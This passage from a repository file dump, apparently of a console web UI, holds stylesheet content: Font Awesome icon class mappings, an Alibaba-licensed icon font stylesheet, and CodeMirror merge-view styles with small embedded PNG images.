\"\\f156\";\n}\n.fa-cny:before,\n.fa-rmb:before,\n.fa-yen:before,\n.fa-jpy:before {\n  content: \"\\f157\";\n}\n.fa-ruble:before,\n.fa-rouble:before,\n.fa-rub:before {\n  content: \"\\f158\";\n}\n.fa-won:before,\n.fa-krw:before {\n  content: \"\\f159\";\n}\n.fa-bitcoin:before,\n.fa-btc:before {\n  content: \"\\f15a\";\n}\n.fa-file:before {\n  content: \"\\f15b\";\n}\n.fa-file-text:before {\n  content: \"\\f15c\";\n}\n.fa-sort-alpha-asc:before {\n  content: \"\\f15d\";\n}\n.fa-sort-alpha-desc:before {\n  content: \"\\f15e\";\n}\n.fa-sort-amount-asc:before {\n  content: \"\\f160\";\n}\n.fa-sort-amount-desc:before {\n  content: \"\\f161\";\n}\n.fa-sort-numeric-asc:before {\n  content: \"\\f162\";\n}\n.fa-sort-numeric-desc:before {\n  content: \"\\f163\";\n}\n.fa-thumbs-up:before {\n  content: \"\\f164\";\n}\n.fa-thumbs-down:before {\n  content: \"\\f165\";\n}\n.fa-youtube-square:before {\n  content: \"\\f166\";\n}\n.fa-youtube:before {\n  content: \"\\f167\";\n}\n.fa-xing:before {\n  content: \"\\f168\";\n}\n.fa-xing-square:before {\n  content: \"\\f169\";\n}\n.fa-youtube-play:before {\n  content: \"\\f16a\";\n}\n.fa-dropbox:before {\n  content: \"\\f16b\";\n}\n.fa-stack-overflow:before {\n  content: \"\\f16c\";\n}\n.fa-instagram:before {\n  content: \"\\f16d\";\n}\n.fa-flickr:before {\n  content: \"\\f16e\";\n}\n.fa-adn:before {\n  content: \"\\f170\";\n}\n.fa-bitbucket:before {\n  content: \"\\f171\";\n}\n.fa-bitbucket-square:before {\n  content: \"\\f172\";\n}\n.fa-tumblr:before {\n  content: \"\\f173\";\n}\n.fa-tumblr-square:before {\n  content: \"\\f174\";\n}\n.fa-long-arrow-down:before {\n  content: \"\\f175\";\n}\n.fa-long-arrow-up:before {\n  content: \"\\f176\";\n}\n.fa-long-arrow-left:before {\n  content: \"\\f177\";\n}\n.fa-long-arrow-right:before {\n  content: \"\\f178\";\n}\n.fa-apple:before {\n  content: \"\\f179\";\n}\n.fa-windows:before {\n  content: \"\\f17a\";\n}\n.fa-android:before {\n  content: \"\\f17b\";\n}\n.fa-linux:before {\n  content: \"\\f17c\";\n}\n.fa-dribbble:before {\n  content: \"\\f17d\";\n}\n.fa-skype:before {\n  content: \"\\f17e\";\n}\n.fa-foursquare:before {\n  content: \"\\f180\";\n}\n.fa-trello:before {\n  content: \"\\f181\";\n}\n.fa-female:before {\n  content: \"\\f182\";\n}\n.fa-male:before {\n  content: \"\\f183\";\n}\n.fa-gittip:before,\n.fa-gratipay:before {\n  content: \"\\f184\";\n}\n.fa-sun-o:before {\n  content: \"\\f185\";\n}\n.fa-moon-o:before {\n  content: \"\\f186\";\n}\n.fa-archive:before {\n  content: \"\\f187\";\n}\n.fa-bug:before {\n  content: \"\\f188\";\n}\n.fa-vk:before {\n  content: \"\\f189\";\n}\n.fa-weibo:before {\n  content: \"\\f18a\";\n}\n.fa-renren:before {\n  content: \"\\f18b\";\n}\n.fa-pagelines:before {\n  content: \"\\f18c\";\n}\n.fa-stack-exchange:before {\n  content: \"\\f18d\";\n}\n.fa-arrow-circle-o-right:before {\n  content: \"\\f18e\";\n}\n.fa-arrow-circle-o-left:before {\n  content: \"\\f190\";\n}\n.fa-toggle-left:before,\n.fa-caret-square-o-left:before {\n  content: \"\\f191\";\n}\n.fa-dot-circle-o:before {\n  content: \"\\f192\";\n}\n.fa-wheelchair:before {\n  content: \"\\f193\";\n}\n.fa-vimeo-square:before {\n  content: \"\\f194\";\n}\n.fa-turkish-lira:before,\n.fa-try:before {\n  content: \"\\f195\";\n}\n.fa-plus-square-o:before {\n  content: \"\\f196\";\n}\n.fa-space-shuttle:before {\n  content: \"\\f197\";\n}\n.fa-slack:before {\n  content: \"\\f198\";\n}\n.fa-envelope-square:before {\n  content: \"\\f199\";\n}\n.fa-wordpress:before {\n  content: \"\\f19a\";\n}\n.fa-openid:before {\n  content: \"\\f19b\";\n}\n.fa-institution:before,\n.fa-bank:before,\n.fa-university:before {\n  content: \"\\f19c\";\n}\n.fa-mortar-board:before,\n.fa-graduation-cap:before {\n  content: \"\\f19d\";\n}\n.fa-yahoo:before {\n  content: \"\\f19e\";\n}\n.fa-google:before {\n  content: \"\\f1a0\";\n}\n.fa-reddit:before {\n  content: \"\\f1a1\";\n}\n.fa-reddit-square:before {\n  content: \"\\f1a2\";\n}\n.fa-stumbleupon-circle:before {\n  content: \"\\f1a3\";\n}\n.fa-stumbleupon:before {\n  content: \"\\f1a4\";\n}\n.fa-delicious:before {\n  content: \"\\f1a5\";\n}\n.fa-digg:before {\n  content: \"\\f1a6\";\n}\n.fa-pied-piper:before {\n  content: \"\\f1a7\";\n}\n.fa-pied-piper-alt:before {\n  content: \"\\f1a8\";\n}\n.fa-drupal:before {\n  content: \"\\f1a9\";\n}\n.fa-joomla:before {\n  content: \"\\f1aa\";\n}\n.fa-language:before {\n  content: \"\\f1ab\";\n}\n.fa-fax:before {\n  content: \"\\f1ac\";\n}\n.fa-building:before {\n  content: \"\\f1ad\";\n}\n.fa-child:before {\n  content: \"\\f1ae\";\n}\n.fa-paw:before {\n  content: \"\\f1b0\";\n}\n.fa-spoon:before {\n  content: \"\\f1b1\";\n}\n.fa-cube:before {\n  content: \"\\f1b2\";\n}\n.fa-cubes:before {\n  content: \"\\f1b3\";\n}\n.fa-behance:before {\n  content: \"\\f1b4\";\n}\n.fa-behance-square:before {\n  content: \"\\f1b5\";\n}\n.fa-steam:before {\n  content: \"\\f1b6\";\n}\n.fa-steam-square:before {\n  content: \"\\f1b7\";\n}\n.fa-recycle:before {\n  content: \"\\f1b8\";\n}\n.fa-automobile:before,\n.fa-car:before {\n  content: \"\\f1b9\";\n}\n.fa-cab:before,\n.fa-taxi:before {\n  content: \"\\f1ba\";\n}\n.fa-tree:before {\n  content: \"\\f1bb\";\n}\n.fa-spotify:before {\n  content: \"\\f1bc\";\n}\n.fa-deviantart:before {\n  content: \"\\f1bd\";\n}\n.fa-soundcloud:before {\n  content: \"\\f1be\";\n}\n.fa-database:before {\n  content: \"\\f1c0\";\n}\n.fa-file-pdf-o:before {\n  content: \"\\f1c1\";\n}\n.fa-file-word-o:before {\n  content: \"\\f1c2\";\n}\n.fa-file-excel-o:before {\n  content: \"\\f1c3\";\n}\n.fa-file-powerpoint-o:before {\n  content: \"\\f1c4\";\n}\n.fa-file-photo-o:before,\n.fa-file-picture-o:before,\n.fa-file-image-o:before {\n  content: \"\\f1c5\";\n}\n.fa-file-zip-o:before,\n.fa-file-archive-o:before {\n  content: \"\\f1c6\";\n}\n.fa-file-sound-o:before,\n.fa-file-audio-o:before {\n  content: \"\\f1c7\";\n}\n.fa-file-movie-o:before,\n.fa-file-video-o:before {\n  content: \"\\f1c8\";\n}\n.fa-file-code-o:before {\n  content: \"\\f1c9\";\n}\n.fa-vine:before {\n  content: \"\\f1ca\";\n}\n.fa-codepen:before {\n  content: \"\\f1cb\";\n}\n.fa-jsfiddle:before {\n  content: \"\\f1cc\";\n}\n.fa-life-bouy:before,\n.fa-life-buoy:before,\n.fa-life-saver:before,\n.fa-support:before,\n.fa-life-ring:before {\n  content: \"\\f1cd\";\n}\n.fa-circle-o-notch:before {\n  content: \"\\f1ce\";\n}\n.fa-ra:before,\n.fa-rebel:before {\n  content: \"\\f1d0\";\n}\n.fa-ge:before,\n.fa-empire:before {\n  content: \"\\f1d1\";\n}\n.fa-git-square:before {\n  content: \"\\f1d2\";\n}\n.fa-git:before {\n  content: \"\\f1d3\";\n}\n.fa-y-combinator-square:before,\n.fa-yc-square:before,\n.fa-hacker-news:before {\n  content: \"\\f1d4\";\n}\n.fa-tencent-weibo:before {\n  content: \"\\f1d5\";\n}\n.fa-qq:before {\n  content: \"\\f1d6\";\n}\n.fa-wechat:before,\n.fa-weixin:before {\n  content: \"\\f1d7\";\n}\n.fa-send:before,\n.fa-paper-plane:before {\n  content: \"\\f1d8\";\n}\n.fa-send-o:before,\n.fa-paper-plane-o:before {\n  content: \"\\f1d9\";\n}\n.fa-history:before {\n  content: \"\\f1da\";\n}\n.fa-circle-thin:before {\n  content: \"\\f1db\";\n}\n.fa-header:before {\n  content: \"\\f1dc\";\n}\n.fa-paragraph:before {\n  content: \"\\f1dd\";\n}\n.fa-sliders:before {\n  content: \"\\f1de\";\n}\n.fa-share-alt:before {\n  content: \"\\f1e0\";\n}\n.fa-share-alt-square:before {\n  content: \"\\f1e1\";\n}\n.fa-bomb:before {\n  content: \"\\f1e2\";\n}\n.fa-soccer-ball-o:before,\n.fa-futbol-o:before {\n  content: \"\\f1e3\";\n}\n.fa-tty:before {\n  content: \"\\f1e4\";\n}\n.fa-binoculars:before {\n  content: \"\\f1e5\";\n}\n.fa-plug:before {\n  content: \"\\f1e6\";\n}\n.fa-slideshare:before {\n  content: \"\\f1e7\";\n}\n.fa-twitch:before {\n  content: \"\\f1e8\";\n}\n.fa-yelp:before {\n  content: \"\\f1e9\";\n}\n.fa-newspaper-o:before {\n  content: \"\\f1ea\";\n}\n.fa-wifi:before {\n  content: \"\\f1eb\";\n}\n.fa-calculator:before {\n  content: \"\\f1ec\";\n}\n.fa-paypal:before {\n  content: \"\\f1ed\";\n}\n.fa-google-wallet:before {\n  content: \"\\f1ee\";\n}\n.fa-cc-visa:before {\n  content: \"\\f1f0\";\n}\n.fa-cc-mastercard:before {\n  content: \"\\f1f1\";\n}\n.fa-cc-discover:before {\n  content: \"\\f1f2\";\n}\n.fa-cc-amex:before {\n  content: \"\\f1f3\";\n}\n.fa-cc-paypal:before {\n  content: \"\\f1f4\";\n}\n.fa-cc-stripe:before {\n  content: \"\\f1f5\";\n}\n.fa-bell-slash:before {\n  content: \"\\f1f6\";\n}\n.fa-bell-slash-o:before {\n  content: \"\\f1f7\";\n}\n.fa-trash:before {\n  content: \"\\f1f8\";\n}\n.fa-copyright:before {\n  content: \"\\f1f9\";\n}\n.fa-at:before {\n  content: \"\\f1fa\";\n}\n.fa-eyedropper:before {\n  content: \"\\f1fb\";\n}\n.fa-paint-brush:before {\n  content: \"\\f1fc\";\n}\n.fa-birthday-cake:before {\n  content: \"\\f1fd\";\n}\n.fa-area-chart:before {\n  content: \"\\f1fe\";\n}\n.fa-pie-chart:before {\n  content: \"\\f200\";\n}\n.fa-line-chart:before {\n  content: \"\\f201\";\n}\n.fa-lastfm:before {\n  content: \"\\f202\";\n}\n.fa-lastfm-square:before {\n  content: \"\\f203\";\n}\n.fa-toggle-off:before {\n  content: \"\\f204\";\n}\n.fa-toggle-on:before {\n  content: \"\\f205\";\n}\n.fa-bicycle:before {\n  content: \"\\f206\";\n}\n.fa-bus:before {\n  content: \"\\f207\";\n}\n.fa-ioxhost:before {\n  content: \"\\f208\";\n}\n.fa-angellist:before {\n  content: \"\\f209\";\n}\n.fa-cc:before {\n  content: \"\\f20a\";\n}\n.fa-shekel:before,\n.fa-sheqel:before,\n.fa-ils:before {\n  content: \"\\f20b\";\n}\n.fa-meanpath:before {\n  content: \"\\f20c\";\n}\n.fa-buysellads:before {\n  content: \"\\f20d\";\n}\n.fa-connectdevelop:before {\n  content: \"\\f20e\";\n}\n.fa-dashcube:before {\n  content: \"\\f210\";\n}\n.fa-forumbee:before {\n  content: \"\\f211\";\n}\n.fa-leanpub:before {\n  content: \"\\f212\";\n}\n.fa-sellsy:before {\n  content: \"\\f213\";\n}\n.fa-shirtsinbulk:before {\n  content: \"\\f214\";\n}\n.fa-simplybuilt:before {\n  content: \"\\f215\";\n}\n.fa-skyatlas:before {\n  content: \"\\f216\";\n}\n.fa-cart-plus:before {\n  content: \"\\f217\";\n}\n.fa-cart-arrow-down:before {\n  content: \"\\f218\";\n}\n.fa-diamond:before {\n  content: \"\\f219\";\n}\n.fa-ship:before {\n  content: \"\\f21a\";\n}\n.fa-user-secret:before {\n  content: \"\\f21b\";\n}\n.fa-motorcycle:before {\n  content: \"\\f21c\";\n}\n.fa-street-view:before {\n  content: \"\\f21d\";\n}\n.fa-heartbeat:before {\n  content: \"\\f21e\";\n}\n.fa-venus:before {\n  content: \"\\f221\";\n}\n.fa-mars:before {\n  content: \"\\f222\";\n}\n.fa-mercury:before {\n  content: \"\\f223\";\n}\n.fa-intersex:before,\n.fa-transgender:before {\n  content: \"\\f224\";\n}\n.fa-transgender-alt:before {\n  content: \"\\f225\";\n}\n.fa-venus-double:before {\n  content: \"\\f226\";\n}\n.fa-mars-double:before {\n  content: \"\\f227\";\n}\n.fa-venus-mars:before {\n  content: \"\\f228\";\n}\n.fa-mars-stroke:before {\n  content: \"\\f229\";\n}\n.fa-mars-stroke-v:before {\n  content: \"\\f22a\";\n}\n.fa-mars-stroke-h:before {\n  content: \"\\f22b\";\n}\n.fa-neuter:before {\n  content: \"\\f22c\";\n}\n.fa-genderless:before {\n  content: \"\\f22d\";\n}\n.fa-facebook-official:before {\n  content: \"\\f230\";\n}\n.fa-pinterest-p:before {\n  content: \"\\f231\";\n}\n.fa-whatsapp:before {\n  content: \"\\f232\";\n}\n.fa-server:before {\n  content: \"\\f233\";\n}\n.fa-user-plus:before {\n  content: \"\\f234\";\n}\n.fa-user-times:before {\n  content: \"\\f235\";\n}\n.fa-hotel:before,\n.fa-bed:before {\n  content: \"\\f236\";\n}\n.fa-viacoin:before {\n  content: \"\\f237\";\n}\n.fa-train:before {\n  content: \"\\f238\";\n}\n.fa-subway:before {\n  content: \"\\f239\";\n}\n.fa-medium:before {\n  content: \"\\f23a\";\n}\n.fa-yc:before,\n.fa-y-combinator:before {\n  content: \"\\f23b\";\n}\n.fa-optin-monster:before {\n  content: \"\\f23c\";\n}\n.fa-opencart:before {\n  content: \"\\f23d\";\n}\n.fa-expeditedssl:before {\n  content: \"\\f23e\";\n}\n.fa-battery-4:before,\n.fa-battery-full:before {\n  content: \"\\f240\";\n}\n.fa-battery-3:before,\n.fa-battery-three-quarters:before {\n  content: \"\\f241\";\n}\n.fa-battery-2:before,\n.fa-battery-half:before {\n  content: \"\\f242\";\n}\n.fa-battery-1:before,\n.fa-battery-quarter:before {\n  content: \"\\f243\";\n}\n.fa-battery-0:before,\n.fa-battery-empty:before {\n  content: \"\\f244\";\n}\n.fa-mouse-pointer:before {\n  content: \"\\f245\";\n}\n.fa-i-cursor:before {\n  content: \"\\f246\";\n}\n.fa-object-group:before {\n  content: \"\\f247\";\n}\n.fa-object-ungroup:before {\n  content: \"\\f248\";\n}\n.fa-sticky-note:before {\n  content: \"\\f249\";\n}\n.fa-sticky-note-o:before {\n  content: \"\\f24a\";\n}\n.fa-cc-jcb:before {\n  content: \"\\f24b\";\n}\n.fa-cc-diners-club:before {\n  content: \"\\f24c\";\n}\n.fa-clone:before {\n  content: \"\\f24d\";\n}\n.fa-balance-scale:before {\n  content: \"\\f24e\";\n}\n.fa-hourglass-o:before {\n  content: \"\\f250\";\n}\n.fa-hourglass-1:before,\n.fa-hourglass-start:before {\n  content: \"\\f251\";\n}\n.fa-hourglass-2:before,\n.fa-hourglass-half:before {\n  content: \"\\f252\";\n}\n.fa-hourglass-3:before,\n.fa-hourglass-end:before {\n  content: \"\\f253\";\n}\n.fa-hourglass:before {\n  content: \"\\f254\";\n}\n.fa-hand-grab-o:before,\n.fa-hand-rock-o:before {\n  content: \"\\f255\";\n}\n.fa-hand-stop-o:before,\n.fa-hand-paper-o:before {\n  content: \"\\f256\";\n}\n.fa-hand-scissors-o:before {\n  content: \"\\f257\";\n}\n.fa-hand-lizard-o:before {\n  content: \"\\f258\";\n}\n.fa-hand-spock-o:before {\n  content: \"\\f259\";\n}\n.fa-hand-pointer-o:before {\n  content: \"\\f25a\";\n}\n.fa-hand-peace-o:before {\n  content: \"\\f25b\";\n}\n.fa-trademark:before {\n  content: \"\\f25c\";\n}\n.fa-registered:before {\n  content: \"\\f25d\";\n}\n.fa-creative-commons:before {\n  content: \"\\f25e\";\n}\n.fa-gg:before {\n  content: \"\\f260\";\n}\n.fa-gg-circle:before {\n  content: \"\\f261\";\n}\n.fa-tripadvisor:before {\n  content: \"\\f262\";\n}\n.fa-odnoklassniki:before {\n  content: \"\\f263\";\n}\n.fa-odnoklassniki-square:before {\n  content: \"\\f264\";\n}\n.fa-get-pocket:before {\n  content: \"\\f265\";\n}\n.fa-wikipedia-w:before {\n  content: \"\\f266\";\n}\n.fa-safari:before {\n  content: \"\\f267\";\n}\n.fa-chrome:before {\n  content: \"\\f268\";\n}\n.fa-firefox:before {\n  content: \"\\f269\";\n}\n.fa-opera:before {\n  content: \"\\f26a\";\n}\n.fa-internet-explorer:before {\n  content: \"\\f26b\";\n}\n.fa-tv:before,\n.fa-television:before {\n  content: \"\\f26c\";\n}\n.fa-contao:before {\n  content: \"\\f26d\";\n}\n.fa-500px:before {\n  content: \"\\f26e\";\n}\n.fa-amazon:before {\n  content: \"\\f270\";\n}\n.fa-calendar-plus-o:before {\n  content: \"\\f271\";\n}\n.fa-calendar-minus-o:before {\n  content: \"\\f272\";\n}\n.fa-calendar-times-o:before {\n  content: \"\\f273\";\n}\n.fa-calendar-check-o:before {\n  content: \"\\f274\";\n}\n.fa-industry:before {\n  content: \"\\f275\";\n}\n.fa-map-pin:before {\n  content: \"\\f276\";\n}\n.fa-map-signs:before {\n  content: \"\\f277\";\n}\n.fa-map-o:before {\n  content: \"\\f278\";\n}\n.fa-map:before {\n  content: \"\\f279\";\n}\n.fa-commenting:before {\n  content: \"\\f27a\";\n}\n.fa-commenting-o:before {\n  content: \"\\f27b\";\n}\n.fa-houzz:before {\n  content: \"\\f27c\";\n}\n.fa-vimeo:before {\n  content: \"\\f27d\";\n}\n.fa-black-tie:before {\n  content: \"\\f27e\";\n}\n.fa-fonticons:before {\n  content: \"\\f280\";\n}\n.fa-reddit-alien:before {\n  content: \"\\f281\";\n}\n.fa-edge:before {\n  content: \"\\f282\";\n}\n.fa-credit-card-alt:before {\n  content: \"\\f283\";\n}\n.fa-codiepie:before {\n  content: \"\\f284\";\n}\n.fa-modx:before {\n  content: \"\\f285\";\n}\n.fa-fort-awesome:before {\n  content: \"\\f286\";\n}\n.fa-usb:before {\n  content: \"\\f287\";\n}\n.fa-product-hunt:before {\n  content: \"\\f288\";\n}\n.fa-mixcloud:before {\n  content: \"\\f289\";\n}\n.fa-scribd:before {\n  content: \"\\f28a\";\n}\n.fa-pause-circle:before {\n  content: \"\\f28b\";\n}\n.fa-pause-circle-o:before {\n  content: \"\\f28c\";\n}\n.fa-stop-circle:before {\n  content: \"\\f28d\";\n}\n.fa-stop-circle-o:before {\n  content: \"\\f28e\";\n}\n.fa-shopping-bag:before {\n  content: \"\\f290\";\n}\n.fa-shopping-basket:before {\n  content: \"\\f291\";\n}\n.fa-hashtag:before {\n  content: \"\\f292\";\n}\n.fa-bluetooth:before {\n  content: \"\\f293\";\n}\n.fa-bluetooth-b:before {\n  content: \"\\f294\";\n}\n.fa-percent:before {\n  content: \"\\f295\";\n}\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/css/icon.css",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n@font-face {\n    /*无边框*/\n    font-family: \"iconfont-1\";\n    src: url('icon1/iconfont.eot?t=1458627591'); /* IE9*/\n    src: url('icon1/iconfont.eot?t=1458627591#iefix') format('embedded-opentype'), /* IE6-IE8 */ url('icon1/iconfont.woff?t=1458627591') format('woff'), /* chrome, firefox */ url('icon1/iconfont.ttf?t=1458627591') format('truetype'), /* chrome, firefox, opera, Safari, Android, iOS 4.2+*/ url('icon1/iconfont.svg?t=1458627591#iconfont') format('svg'); /* iOS 4.1- */\n}\n\n@font-face {\n    /*有边框*/\n    font-family: \"iconfont-2\";\n    src: url('icon/iconfont.eot'); /* IE9*/\n    src: url('icon/iconfont.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ url('icon/iconfont.woff') format('woff'), /* chrome, firefox */ url('icon/iconfont.ttf') format('truetype'), /* chrome, firefox, opera, Safari, Android, iOS 4.2+*/ url('icon/iconfont.svg#iconfont') format('svg'); /* iOS 4.1- */\n}\n\n.iconfont {\n    /* 有边框 */\n    font-family: \"iconfont\" !important;\n    font-size: 16px;\n    font-style: normal;\n    -webkit-font-smoothing: antialiased;\n    -webkit-text-stroke-width: 0.2px;\n    -moz-osx-font-smoothing: grayscale;\n}\n\n.iconfont-1 {\n    /*无边框*/\n\n    font-family: \"iconfont-1\" !important;\n    font-size: 16px;\n    font-style: normal;\n    -webkit-font-smoothing: antialiased;\n    -webkit-text-stroke-width: 0.2px;\n    -moz-osx-font-smoothing: grayscale;\n}\n\n.iconfont-2 {\n    /*有边框*/\n    font-family: \"iconfont-2\" !important;\n    font-size: 16px;\n    font-style: normal;\n    -webkit-font-smoothing: antialiased;\n    -webkit-text-stroke-width: 0.2px;\n    -moz-osx-font-smoothing: grayscale;\n}\n\n.logo {\n\n}\n\n.panel-logo {\n    padding-right: 2px;\n    font-size: 18px;\n    display: inline-block;\n    color: #333;\n}\n\n.icon-lg {\n    font-size: 80px !important;\n}\n\n.icon-size-md {\n    font-size: 40px !important;\n    vertical-align: middle;\n}\n\n.icon-size-lg {\n    font-size: 80px !important;\n    vertical-align: middle;\n}\n\n.icon-hsf:before {\n    content: \"\\e62f\" !important;\n}\n\n.icon-rocketmq:before {\n    content: \"\\e632\" !important;\n}\n\n.icon-notify:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-tddl:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-pandora:before {\n    content: \"\\e622\" !important;\n}\n\n.icon-ailtomcat:before {\n    content: \"\\e628\" !important;\n}\n\n.icon-configserver:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-diamondserver:before {\n    content: \"\\e62a\" !important;\n}\n\n.icon-vipserver:before {\n    content: \"\\e625\" !important;\n}\n\n.icon-eagleeye:before {\n    content: \"\\e62c\" !important;\n}\n\n.icon-tengine:before {\n    content: \"\\e635\" !important;\n}\n\n.icon-tair:before {\n    content: \"\\e634\" !important;\n}\n\n.icon-hbase:before {\n    content: \"\\e62d\" !important;\n}\n\n.icon-jstorm:before {\n    content: \"\\e627\" !important;\n}\n\n.icon-histore:before {\n    content: \"\\e62e\" !important;\n}\n\n.icon-jingwei:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-txc:before {\n    content: \"\\e636\" !important;\n}\n\n.icon-edas:before {\n    content: \"\\e620\" !important;\n}\n\n.icon-csb:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-ons:before {\n    content: \"\\e630\" !important;\n}\n\n.icon-drds:before {\n    content: \"\\e61f\" !important;\n}\n\n.icon-duct:before {\n    content: \"\\e62b\" !important;\n}\n\n.icon-amazon:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-autoload:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-switch:before {\n    content: \"\\e633\" !important;\n}\n\n.icon-sentinel:before {\n    content: \"\\e623\" !important;\n}\n\n.icon-preplan:before {\n    content: \"\\e631\" !important;\n}\n\n.icon-moses:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-zeus:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-athena:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-bcp:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-lark:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-nest:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-monkeyking:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-tab:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-oceanus:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-eos :before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-sonar:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-ai:before {\n    content: \"\\e605\" !important;\n}\n\n.icon-hotcode:before {\n    content: \"\\e621\" !important;\n}\n\n.icon-taokeeper:before {\n    content: \"\\e624\" !important;\n}\n\n.icon-mdl:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-mw:before {\n    content: \"\\e61e\" !important;\n}\n\n.icon-default:before {\n    content: \"\\e607\" !important;\n}\n\n.icon-alitomcat:before {\n    content: \"\\e607\" !important;\n}\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/css/merge.css",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n.CodeMirror-merge {\n  position: relative;\n  border: 1px solid #ddd;\n  white-space: pre;\n}\n\n.CodeMirror-merge, .CodeMirror-merge .CodeMirror {\n  height: 350px;\n}\n\n.CodeMirror-merge-2pane .CodeMirror-merge-pane { width: 47%; }\n.CodeMirror-merge-2pane .CodeMirror-merge-gap { width: 6%; }\n.CodeMirror-merge-3pane .CodeMirror-merge-pane { width: 31%; }\n.CodeMirror-merge-3pane .CodeMirror-merge-gap { width: 3.5%; }\n\n.CodeMirror-merge-pane {\n  display: inline-block;\n  white-space: normal;\n  vertical-align: top;\n}\n.CodeMirror-merge-pane-rightmost {\n  position: absolute;\n  right: 0px;\n  z-index: 1;\n}\n\n.CodeMirror-merge-gap {\n  z-index: 2;\n  display: inline-block;\n  height: 100%;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n  overflow: hidden;\n  border-left: 1px solid #ddd;\n  border-right: 1px solid #ddd;\n  position: relative;\n  background: #f8f8f8;\n}\n\n.CodeMirror-merge-scrolllock-wrap {\n  position: absolute;\n  bottom: 0; left: 50%;\n}\n.CodeMirror-merge-scrolllock {\n  position: relative;\n  left: -50%;\n  cursor: pointer;\n  color: #555;\n  line-height: 1;\n}\n\n.CodeMirror-merge-copybuttons-left, .CodeMirror-merge-copybuttons-right {\n  position: absolute;\n  left: 0; top: 0;\n  right: 0; bottom: 0;\n  line-height: 1;\n}\n\n.CodeMirror-merge-copy {\n  position: absolute;\n  cursor: pointer;\n  color: #44c;\n  z-index: 3;\n}\n\n.CodeMirror-merge-copy-reverse {\n  position: absolute;\n  cursor: pointer;\n  color: #44c;\n}\n\n.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy { left: 2px; }\n.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy { right: 2px; }\n\n.CodeMirror-merge-r-inserted, .CodeMirror-merge-l-inserted {\n  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);\n  background-position: bottom left;\n  background-repeat: repeat-x;\n}\n\n.CodeMirror-merge-r-deleted, .CodeMirror-merge-l-deleted {\n  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);\n  background-position: bottom left;\n  background-repeat: repeat-x;\n}\n\n.CodeMirror-merge-r-chunk { background: #ffffe0; }\n.CodeMirror-merge-r-chunk-start { border-top: 1px solid #ee8; }\n.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #ee8; }\n.CodeMirror-merge-r-connect { fill: #ffffe0; stroke: #ee8; stroke-width: 1px; }\n\n.CodeMirror-merge-l-chunk { background: #eef; }\n.CodeMirror-merge-l-chunk-start { border-top: 1px solid #88e; }\n.CodeMirror-merge-l-chunk-end { border-bottom: 1px solid #88e; }\n.CodeMirror-merge-l-connect { fill: #eef; stroke: #88e; stroke-width: 1px; }\n\n.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk { background: #dfd; }\n.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start { border-top: 1px solid #4e4; }\n.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end { border-bottom: 1px solid #4e4; }\n\n.CodeMirror-merge-collapsed-widget:before {\n  content: \"(...)\";\n}\n.CodeMirror-merge-collapsed-widget {\n  cursor: pointer;\n  color: #88b;\n  background: #eef;\n  border: 1px solid #ddf;\n  font-size: 90%;\n  padding: 0 3px;\n  border-radius: 4px;\n}\n.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt { display: none; }\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/codemirror.addone.fullscreen.js",
